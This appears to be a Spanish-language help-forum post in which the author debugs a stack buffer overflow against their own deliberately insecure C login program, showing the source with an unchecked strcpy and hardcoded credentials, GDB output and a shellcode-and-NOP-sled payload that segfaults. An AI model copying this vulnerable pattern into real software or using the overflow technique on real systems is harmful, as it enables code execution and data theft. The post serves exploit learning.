Lo que mi programa intencionalmente inseguro hace es verificar si un nombre de usuario coincide con una cadena específica copiando la entrada del usuario en un búfer y comparándolo.
He compilado el programa
cc -o real real.c -g -m32 -static -fno-stack-protector
He logrado llenar el búfer con código de shell y sobrescribir mi EIP con la dirección de retorno donde ocurre el desbordamiento del búfer para que se ejecute utilizando GDB. Pero un problema de segmentación sigue ocurriendo que no entiendo.
Incluso trato de incluir un printf %s
para imprimir la dirección de mi búfer para asegurarme de que tengo la dirección correcta
#include <stdlib.h>
#include <string.h>
int checkUserName(int argc, char **argv) {
char storedName[300];
int pass = 1;
printf("%p\n", (void*)&storedName);
if(argc == 1){
pass = 0;
printf("Nothing Entered");
return(0);
}
else if(sizeof(argv[1]) > 20){
printf("Too many characters.");
pass = 0;
return(0);
}
else if(argc > 1) {
strcpy(storedName, argv[1]);
}
while (pass == 1) {
if(!strcmp(storedName, "694449"))
{
printf("Username Successfull\n");
return(1);
}
else{
return(0);
}
}
}
int checkUserPassword(char *userPassword) {
if(!strcmp(userPassword, "1994"))
{
return(1);
}
else{
printf("\nWrong Password. Exiting Program");
return(0);
}
}
int openBankAccounts() {
char buff[5000];
FILE *fp;
fp = fopen("/home/parallels/RASS/bankAccounts.txt", "r");
while (fgets (buff, sizeof(buff), fp)) {
printf("%s", buff);
}
fclose(fp);
}
int main(int argc, char *argv[]) {
int go = 1;
if(!checkUserName(argc, argv)){
printf("\nWrong Username. Exiting Program");
go = 0;
return(0);
}
while (go == 1){
char userPassword[5];
printf("\nPlease Enter 4 Digit Pin: ");
fgets(userPassword, 5, stdin);
if (!checkUserPassword(userPassword)){
return(0);
}
else{
go = 0;
}
}
if(go == 0){
openBankAccounts();
}
return 0;
}
CÓDIGO GBD
(gdb) run $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
Starting program: /home/parallels/RASS/real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
0xffffce50
La dirección 0xffffce50
anterior proviene de printf. Soy consciente de que esta dirección cambia cuando se ejecuta fuera de GDB. También soy consciente de que más caracteres ingresados comenzarán a sobrescribir el EIP.
Program received signal SIGSEGV, Segmentation fault.
0x08048f1a in openBankAccounts () at real.c:54
(gdb) info reg ebp eip
ebp 0x90909090 0x90909090
eip 0x8048f1a 0x8048f1a <openBankAccounts+29>
Ahora lo ejecuto desde el terminal primero, para que el programa imprima la dirección:
parallels@ubuntu:~/RASS$ ./real haha
0xffffcfb0
Y luego lo ejecuto con esa dirección:
parallels@ubuntu:~/RASS$ ./real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284' + "\x70\xce\xff\xff")
0xffffce70
Segmentation fault (core dumped)
Como puede ver, la dirección de memoria que he insertado al final de mi entrada de python es la misma que la dirección impresa que imprime el programa. Lo que debería suceder es que el EIP debe contener esta dirección y ejecutar la instrucción en esa dirección que apunta al búfer que he desbordado con Shellcode. Pero ocurre una falla de segmentación que no entiendo. Todo tiene sentido